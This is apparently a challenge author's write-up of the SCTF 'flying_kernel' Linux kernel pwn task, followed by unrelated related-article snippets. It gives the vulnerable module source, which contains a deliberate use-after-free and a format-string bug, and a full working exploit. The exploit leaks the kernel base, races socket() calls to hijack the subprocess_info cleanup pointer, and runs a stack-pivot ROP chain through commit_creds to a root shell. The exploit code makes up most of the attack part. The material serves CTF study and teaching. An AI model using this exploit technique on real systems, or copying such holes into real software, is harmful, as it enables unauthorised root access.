SCTF flying_kernel 出题总结

VSole2022-01-07 16:34:24

前言

SCTF中一道linux kernel pwn的出题思路及利用方法,附赛后复盘

赛时情况

题目在早上九点第一波放出,在晚上6点由AAA战队取得一血,直到比赛结束一共有7支战队做出此题,作为一个kernel初学者很庆幸没被打烂orz(虽然被各种非预期打爆了,还是需要继续努力

出题思路

考点主要来源于CVE-2016-6187 的一篇利用文章,原文链接https://bbs.pediy.com/thread-217540.htm

简单概括就是使用以下语句

socket(22, AF_INET, 0);

会触发 struct subprocess_info 这个对象的分配,此结构为0x60大小,定义如下:

struct subprocess_info {    struct work_struct work;    struct completion *complete;    const char *path;    char **argv;    char **envp;    struct file *file;    int wait;    int retval;    pid_t pid;    int (*init)(struct subprocess_info *info, struct cred *new);    void (*cleanup)(struct subprocess_info *info);    void *data;} __randomize_layout;

此对象在分配时最终会调用cleanup函数,如果我们能在分配过程中把cleanup指针劫持为我们的gadget,就能控制RIP,劫持的方法显而易见,即条件竞争

题目源码

先给出这次题目的模块源码

#include #include #include #include #include #include #include #include #include #include 
static char *sctf_buf = NULL;static struct class *devClass;static struct cdev cdev;static dev_t seven_dev_no;
static ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos);
static long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long arg);
static int seven_open(struct inode *i, struct file *f);
static int seven_close(struct inode *i, struct file *f);
static struct file_operations seven_fops =        {                .owner = THIS_MODULE,                .open = seven_open,                .release = seven_close,                .write = seven_write,                .unlocked_ioctl = seven_ioctl        };
static int __init seven_init(void){    if (alloc_chrdev_region(&seven_dev_no, 0, 1, "seven") < 0)    {        return -1;    }    if ((devClass = class_create(THIS_MODULE, "chardrv")) == NULL)    {        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    if (device_create(devClass, NULL, seven_dev_no, NULL, "seven") == NULL)    {        class_destroy(devClass);        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    cdev_init(&cdev, &seven_fops);    if (cdev_add(&cdev, seven_dev_no, 1) == -1)    {        device_destroy(devClass, seven_dev_no);        class_destroy(devClass);        unregister_chrdev_region(seven_dev_no, 1);        return -1;    }    return 0;}
static void __exit seven_exit(void){    unregister_chrdev_region(seven_dev_no, 1);    cdev_del(&cdev);}
ssize_t seven_write(struct file *filp, const char __user *buf, u_int64_t len, loff_t *f_pos){    if (sctf_buf)    {        if (len <= 0x80)        {            printk(KERN_INFO "write()" );            u_int64_t offset = 0x80 - len;            copy_from_user((u_int64_t)((char *)sctf_buf) + offset, buf, len);        }    }    else    {        printk("What are you doing?");    }
    return len;}
// ioctl函数命令控制long seven_ioctl(struct file *filp, unsigned int cmd, unsigned long size){    int retval = 0;    switch (cmd) {
        case 0x5555://add            if (size == 0x80)            {                sctf_buf = (char *)kmalloc(size,GFP_KERNEL);                printk("Add Success!");            }            else            {                printk("It's not that simple");            }            break;
        case 0x6666:            if (sctf_buf)            {                kfree(sctf_buf);            }            else            {                printk("What are you doing?");                retval = -1;            }            break;
        case 0x7777:            if (sctf_buf)            {                printk(sctf_buf);            }            break;
        default:            retval = -1;            break;    }   
    return retval;}
static int seven_open(struct inode *i, struct file *f){    printk(KERN_INFO "open()");    return 0;}
static int seven_close(struct inode *i, struct file *f){    printk(KERN_INFO "close()");    return 0;}
module_init(seven_init);module_exit(seven_exit);
MODULE_LICENSE("GPL");

ioctl

在自定义的ioctl函数中,设置了参数2为command,有三种情况:

  • command = 0x5555时:调用kmalloc函数申请一个0x80的chunk
  • command = 0x6666时:free chunk但指针没清空
  • command = 0x7777时:调用printk输出,存在格式化字符串漏洞

一共两个漏洞点:0x80的UAF,和一个格式化字符串漏洞

write

写函数只能写最多0x80大小,但能指定写的大小,且重点是能从后往前写

init

内核的init如下:

#!/bin/sh
mkdir tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devmount -t tmpfs none /tmp
exec 0exec 1>/dev/consoleexec 2>/dev/console
echo -e "Boot took $(cut -d' ' -f1 /proc/uptime) seconds"
insmod /flying.kochmod 666 /dev/sevenchmod 700 /flagecho 1 > /proc/sys/kernel/kptr_restrictecho 1 > /proc/sys/kernel/dmesg_restrictchmod 400 /proc/kallsyms
poweroff -d 120 -f &setsid /bin/cttyhack setuidgid 1000 /bin/sh
umount /procumount /sysumount /tmp
poweroff -d 0  -f

主要设置tmp目录用来上传文件

echo 1 > /proc/sys/kernel/kptr_restrict

echo 1 > /proc/sys/kernel/dmesg_restrict

chmod 400 /proc/kallsyms

这里也限制泄露内核基址

qemu

qemu的启动脚本如下:

#!/bin/shqemu-system-x86_64 \    -m 128M \    -kernel /home/ctf/bzImage \    -initrd /home/ctf/rootfs.img \    -monitor /dev/null \    -append "root=/dev/ram console=ttyS0 oops=panic panic=1 nosmap" \    -cpu kvm64,+smep \    -smp cores=2,threads=2 \    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \    -nographic

多核,且开了smep保护,关掉了smap保护,且内核默认有kpti和kaslr保护,所以相当于开启了kpti和kaslr

利用

因为漏洞点很明显,主要讲讲怎么利用漏洞。

首先是泄露的问题,由于存在一个格式化字符串漏洞,所以可以直接利用它来leak kernel_base

具体代码如下:

   write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);    show(fd);    scanf("%llx",&magic1);

注意这里不能使用%p,否则内核会检测到信息泄漏,得不到正确的结果。

然后接下来就是0x80的UAF利用,由于开启了freelist随机化和Harden_freelist保护,理论上来说,因为题目条件的限制,想直接劫持next指针实现任意地址写几乎是不可能的,所以这里不是考察的点,但这里存在了非预期,后文复盘会提到。

注意到0x80的分配用的是 kmalloc-128,而 struct subprocess_info 此对象的分配也是使用的kmalloc-128,由于题目存在UAF,所以当此对象落在我们能控制的chunk上时,就可以通过条件竞争劫持cleanup的指针,主要流程为:一个线程不断的调用socket(22, AF_INET, 0) 另一个线程则循环往chunk写数据,覆盖cleanup指针为我们的gadget。

pthread_t th;pthread_create(&th, NULL, race, (void*)buf);while(1) {        usleep(1);        socket(22, AF_INET, 0);//        getshell();        if (race_flag) break; } void *race(void *arg) {  unsigned long *info = (unsigned long*)arg;  info[0] = (u_int64_t)xchg_eax_esp; // cleanup  while(1) {    write(fd, (void*)info,0x20);    if (race_flag) break;  } }

这里很重要的一点是我们的覆盖要确保只覆盖cleanup指针,也就是写0x20字节,从0x60往后写,如果覆盖多了数据,会在ROP返回到用户态后死在使用fs或者syscall的地方,原因似乎有多种,有些玄学,很多师傅都卡在这里,在此磕头了orz,但我在write函数定义了可以从后面开始写的行为其实也带有提示的意味,不然会有点多余。

我们劫持的gadget要实现的功能是控制栈落在可控区域,这样我们就可以通过栈迁移,从而在事先布置好的ROP链上执行,因为当控制RIP时,RAX的值为此时gadget的地址,所以我们通过以下gadget控制栈

xchg eax, esp; ret;

然后ROP链的功能就是提权+返回用户态

 u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);  printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
  char* fake_stack = NULL;      //先装载页面  if((fake_stack = mmap(      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐      0x2000,                                 // length      PROT_READ | PROT_WRITE,                 // prot      MAP_PRIVATE | MAP_ANONYMOUS,            // flags      -1,                                    // fd      0)   ) == MAP_FAILED)      perror("mmap");  printf("[+]    fake_stack addr: %p", fake_stack);  fake_stack[0]=0;  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;  int index = 0;  hijacked_stack_ptr[index++] = pop_rdi;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = prepare_kernel_cred;  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = commit_creds;  hijacked_stack_ptr[index++] = swapgs;  hijacked_stack_ptr[index++] = iretq;  hijacked_stack_ptr[index++] = (u_int64_t)getshell;  hijacked_stack_ptr[index++] = user_cs;  hijacked_stack_ptr[index++] = user_rflags;  hijacked_stack_ptr[index++] = user_rsp;  hijacked_stack_ptr[index++] = user_ss;

因为开启了kpti的缘故,所以我们实际上是通过在用户态注册 signal handler 来执行位于用户态的代码

signal(SIGSEGV, getshell);void getshell(){    if(getuid() == 0)    {        race_flag = 1;        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");        system("/bin/sh");    }    else    {        puts("[!] failed!");    }}

至此一个完整的提权过程完毕,以下是poc完整代码:

#include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include     
u_int64_t KERNEL_BIN_BASE = 0xFFFFFFFF81000000;u_int64_t kernel_base;u_int64_t raw_kernel;u_int64_t pop_rdi;      // pop rdi; ret;u_int64_t mov_cr4_rdi;  // mov cr4, rdi; pop rbp; ret;u_int64_t prepare_kernel_cred;u_int64_t commit_creds;u_int64_t mov_rdi_rsi;            // mov qword ptr [rdi], rsi; ret;u_int64_t pop_rsi ;     // pop rsi;retu_int64_t hook_prctl  ;u_int64_t poweroff_work_func;u_int64_t power_cmd ;u_int64_t mov_rdi_rax_je_pop_pop_ret; // mov rdi//0xffffffff819b5084: mov rdi, rax; je 0xbb508f; mov rax, rdi; pop rbx; pop rbp; ret;u_int64_t swapgs ;  // swagps;retu_int64_t iretq ;u_int64_t test_rbx_jne_pop_pop_ret;long long int magic1;
struct DATA{    char* buf;};
void add(int fd){    ioctl(fd, 0x5555, 0x80);}
void delete(int fd){    ioctl(fd, 0x6666, 0);}
void show(int fd){    ioctl(fd, 0x7777, 0);}
u_int64_t user_cs, user_gs, user_ds, user_es, user_ss, user_rflags, user_rsp;void save_status(){    __asm__ (".intel_syntax noprefix");    __asm__ volatile (        "mov user_cs, cs;\         mov user_ss, ss;\         mov user_gs, gs;\         mov user_ds, ds;\         mov user_es, es;\         mov user_rsp, rsp;\         pushf;\         pop user_rflags"    );    printf("[+] got user stat");}
u_int64_t raw_kernel;int race_flag = 0;
void getshell(){    if(getuid() == 0)    {        race_flag = 1;        puts("[!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root![!] root!");        system("/bin/sh");    }    else    {        puts("[!] failed!");    }}
static int fd = NULL;u_int64_t xchg_eax_esp = NULL;void *race(void *arg) {  unsigned long *info = (unsigned long*)arg;  info[0] = (u_int64_t)xchg_eax_esp; // cleanup  // stack pivot  u_int64_t hijacked_stack_addr = ((u_int64_t)xchg_eax_esp & 0xffffffff);  printf("[+] hijacked_stack: %p", (char *)hijacked_stack_addr);
  char* fake_stack = NULL;      //先装载页面  if((fake_stack = mmap(      (char*)((hijacked_stack_addr & (~0xfff))), // addr, 页对齐      0x2000,                                 // length      PROT_READ | PROT_WRITE,                 // prot      MAP_PRIVATE | MAP_ANONYMOUS,            // flags      -1,                                    // fd      0)   ) == MAP_FAILED)      perror("mmap");  printf("[+]    fake_stack addr: %p", fake_stack);  fake_stack[0]=0;  u_int64_t* hijacked_stack_ptr = (u_int64_t*)hijacked_stack_addr;  int index = 0;  hijacked_stack_ptr[index++] = pop_rdi;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = prepare_kernel_cred;  hijacked_stack_ptr[index++] = mov_rdi_rax_je_pop_pop_ret;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = 0;  hijacked_stack_ptr[index++] = commit_creds;  hijacked_stack_ptr[index++] = swapgs;  hijacked_stack_ptr[index++] = iretq;  hijacked_stack_ptr[index++] = (u_int64_t)getshell;  hijacked_stack_ptr[index++] = user_cs;  hijacked_stack_ptr[index++] = user_rflags;  hijacked_stack_ptr[index++] = user_rsp;  hijacked_stack_ptr[index++] = user_ss;  while(1) {    write(fd, (void*)info,0x20);    if (race_flag) break;  }  return NULL;}
int main(){    // 0xffffffff81011cb0:xchg eax,esp    u_int64_t kernel_addr,onegadget,target;    signal(SIGSEGV, getshell);    unsigned long buf[0x200];    memset(buf, 0, 0x1000);    fd = open("/dev/seven", O_RDWR);    printf("fd: %d", fd);    if (fd < 0)    {        return -1;    }    add(fd);    write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",0x80);    show(fd);    show(fd);    scanf("%llx",&magic1);
    raw_kernel = magic1 - 0x1f3ecd - KERNEL_BIN_BASE;    printf("[+] raw_kernel addr : 0x%16llx", raw_kernel);    xchg_eax_esp = 0xffffffff81011cb0 + raw_kernel; // xchg eax, esp; ret;    pop_rdi = 0xffffffff810016e9+ raw_kernel;      // pop rdi; ret;    mov_cr4_rdi = 0xFFFFFFFF810460F2+ raw_kernel;  // mov cr4, rdi; pop rbp; ret;    prepare_kernel_cred = 0xFFFFFFFF8108C780+ raw_kernel;    commit_creds = 0xFFFFFFFF8108C360+ raw_kernel;    mov_rdi_rsi = 0xffffffff81075f00 + raw_kernel;            // mov qword ptr [rdi], rsi; ret;    pop_rsi = 0xffffffff811cad0d + raw_kernel;     // pop rsi;ret    hook_prctl = 0xFFFFFFFF824C0D80 + raw_kernel;    poweroff_work_func = 0xFFFFFFFF810C9CE0+ raw_kernel;    power_cmd = 0xFFFFFFFF82663440 + raw_kernel;    mov_rdi_rax_je_pop_pop_ret = 0xffffffff819b5764 + raw_kernel; // mov rdi    swapgs = 0xffffffff81c00f58 + raw_kernel;  // swagps;ret    iretq = 0xffffffff81024f92 + raw_kernel;    test_rbx_jne_pop_pop_ret = 0xffffffff811d9291 + raw_kernel;    printf("[+] xchg addr :b *0x%16llx", xchg_eax_esp);
    save_status();
    delete(fd);    socket(22, AF_INET, 0);    pthread_t th;    pthread_create(&th, NULL, race, (void*)buf);    while(1) {        usleep(1);        socket(22, AF_INET, 0);//        getshell();        if (race_flag) break;    }    return 0;}

编译语句如下

gcc poc.c --static -masm=intel -lpthread -o poc

复盘

通过询问解题人和看赛后wp了解到几种解法。

预期中的非预期

  • 由于random值其实是固定的,泄露出来后劫持freelist打modprobe_path
  • 由于卡在返回用户态后死在fs或者syscall的地方,所以直接在内核中orw,或者写modprobe_path

第一点由于泄露random值这一点很麻烦,且远程和本地不同,在出题的时候想到过可以这样打,但由于预期解比这个简单,本意也不是想打这里,毕竟用户态已经有libc大师这种说法,不想再来个slub大师(,这样个人感觉就挺没意思了

纯非预期

wm战队的思路orz

charchar函数
本作品采用《CC 协议》,转载必须注明作者和本文链接
无意中看到ch1ng师傅的文章觉得很有趣,不得不感叹师傅太厉害了,但我一看那长篇的函数总觉得会有更骚的东西,所幸还真的有,借此机会就发出来一探究竟,同时也不得不感慨下RFC文档的妙处,当然本文针对的技术也仅仅只是在流量层面上waf的绕过。Pre很神奇对吧,当然这不是终点,接下来我们就来一探究竟。前置这里简单说一下师傅的思路部署与处理上传war的servlet是?
记一次网站渗透过程
2022-09-13 08:37:27
前几天记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。
一、序言 记录某一次无意点开的一个小网站的渗透过程,幸运的是搭建平台是phpstudy,cms是beecms,beecms有通用漏洞,然后去网上找了资料,成功getshell并获取服务器权限。 二、渗透过程 1. 无意点开一个网站,发现网站比较小,且看起来比较老,然后发现logo没有改,于是乎去百度搜索这个cms,发现有通用漏洞,这里贴一个链接:Beecms 通用漏洞(https://lin
钓鱼小技巧-XLM
2022-01-21 21:30:11
随后保存为启用宏的文档。而在实战环境中,我们更关注的是能否执行我们的shellcode。
前言最近一段时间在研究Android加壳和脱壳技术,其中涉及到了一些hook技术,于是将自己学习的一些hook技术进行了一下梳理,以便后面回顾和大家学习。主要是进行文本替换、宏展开、删除注释这类简单工作。所以动态链接是将链接过程推迟到了运行时才进行。
最近在分析JDK7u21的Gadgets,有两个不解之处,阅读前辈们的文章发现并未提起。1.为什么有的POC入口是LinkedHashSet,有的是HashSet,两个都可以触发吗?
依赖于特定硬件环境的固件无法完整模拟,需要hook掉其中依赖于硬件的函数。LD_PRELOAD的劫持对于特定函数的劫持技术分为动态注入劫持和静态注入劫持两种。网上针对LD_PRELOAD的劫持也有大量的描述
这里根据红日安全PHP-Audit-Labs对一些函数缺陷的分析,从PHP内核层面来分析一些函数的可利用的地方,标题所说的函数缺陷并不一定是函数本身的缺陷,也可能是函数在使用过程中存在某些问题,造成了漏洞,以下是对部分函数的分析
关于堆栈ShellCode操作:基础理论002-利用fs寄存器寻找当前程序dll的入口:从动态运行的程序中定位所需dll003-寻找大兵LoadLibraryA:从定位到的dll中寻找所需函数地址004-被截断的shellCode:加解密,解决shellCode的零字截断问题
VSole
网络安全专家